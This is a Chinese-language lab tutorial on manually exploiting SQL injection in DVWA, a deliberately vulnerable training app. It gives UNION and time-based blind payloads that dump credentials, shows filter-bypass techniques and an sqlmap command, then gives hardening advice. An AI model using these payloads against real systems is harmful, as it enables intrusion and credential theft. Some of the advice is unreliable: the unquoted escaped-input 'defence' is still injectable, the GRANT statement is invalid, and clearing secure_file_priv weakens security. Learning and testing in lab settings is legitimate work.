1. DVWA手动SQL注入实验概述
DVWA(Damn Vulnerable Web Application)是一个专门用于安全测试的PHP/MySQL Web应用程序,内含多种常见Web漏洞。其中SQL注入模块是最经典的攻防实验场景之一。我将在本地Kali Linux虚拟机(192.168.1.10)上演示完整的手工注入流程,环境配置为:
- DVWA 1.10
- PHP 5.4.45
- MySQL 5.5.47
- 安全级别设置为"Low"
注意:实验前请确保关闭浏览器XSS过滤器,否则可能影响注入结果展示
2. 基础环境准备
2.1 DVWA靶场部署
下载最新DVWA镜像后,需修改config/config.inc.php配置:
$_DVWA['db_server'] = '127.0.0.1'; $_DVWA['db_database'] = 'dvwa'; $_DVWA['db_user'] = 'root'; $_DVWA['db_password'] = 'p@ssw0rd';关键服务启动命令:
service apache2 start service mysql start chmod -R 755 /var/www/html/dvwa/2.2 必要工具配置
建议使用以下工具组合:
- Burp Suite Community:拦截修改HTTP请求
- HackBar插件:快速构造注入语句
- SQLMap:自动化验证注入点
- Firefox开发者工具:实时查看网络请求
3. 手工注入全流程解析
3.1 注入点探测
在DVWA SQL Injection页面提交单引号触发错误:
You have an error in your SQL syntax... near ''1''' at line 1确认存在字符型注入漏洞后,使用经典探测语句:
1' and '1'='1 # 返回正常 1' and '1'='2 # 返回空3.2 联合查询注入
通过order by确定字段数(实测为2列)后,构造union注入:
1' union select 1,2-- -页面显示"2"的位置可替换为查询语句。
3.3 数据库信息提取
关键信息获取语句示例:
# 获取当前数据库 1' union select 1,database()-- - # 获取所有表名 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- - # 获取users表结构 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'-- -3.4 数据提取技巧
使用concat_ws函数格式化输出:
1' union select 1,concat_ws(':',user,password) from users-- -对于MySQL 5.7+需注意:
- group_concat默认长度限制1024
- 可执行
set global group_concat_max_len=1000000;
4. 防御绕过实战
4.1 过滤绕过技术
当安全级别调至Medium时,会过滤union、select等关键词。可采用:
- 大小写混合:UnIoN SeLeCt
- 内联注释:/!UNION/ /!SELECT/
- URL编码:%75%6e%69%6f%6e
4.2 时间盲注示例
当页面无回显时使用sleep函数:
1' and if(ascii(substr(database(),1,1))>100,sleep(3),0)-- -通过响应时间差异判断条件真假。
5. 安全加固建议
5.1 开发防护措施
PHP防范代码示例:
$id = mysqli_real_escape_string($conn, $_GET['id']); $sql = "SELECT * FROM users WHERE id = $id";更推荐使用预处理语句:
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?"); $stmt->bind_param("i", $id);5.2 运维层面防护
MySQL安全配置建议:
-- 移除多余权限 REVOKE ALL PRIVILEGES ON *.* FROM 'dvwa'@'%'; GRANT SELECT ONLY ON dvwa.* TO 'dvwa'@'localhost'; -- 启用日志审计 set global general_log = on; set global log_output = 'table';6. 深度问题排查
6.1 常见错误处理
- 乱码问题:确保数据库、PHP文件均为UTF-8编码
- 无回显:尝试
--+替代--(注意空格) - 权限不足:检查MySQL用户是否有information_schema查询权限
6.2 性能优化技巧
大数据表查询时建议:
- 添加limit限制:
limit 0,10 - 分片查询:通过substr函数逐字符获取
- 使用hex编码避免特殊字符截断
我在实际测试中发现,当使用load_file()读取系统文件时,MySQL的secure_file_priv设置会导致失败。解决方法是在my.cnf中添加:
[mysqld] secure_file_priv = ''7. 自动化工具验证
手工注入确认漏洞后,可用SQLMap验证:
sqlmap -u "http://192.168.1.10/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" --batch --dbs关键参数说明:
--tamper=space2comment绕过空格过滤--level=3提高测试等级--risk=3启用危险检测
8. 企业级防护方案
对于生产环境建议部署:
- WAF设备:ModSecurity规则示例:
SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"- RASP防护:基于行为的注入检测
- 数据库防火墙:拦截异常查询模式
在阿里云环境中实测发现,单纯的预处理语句无法防御所有ORM框架的注入问题,需要结合以下措施:
- 定期SQL审计
- 最小权限原则
- 查询白名单机制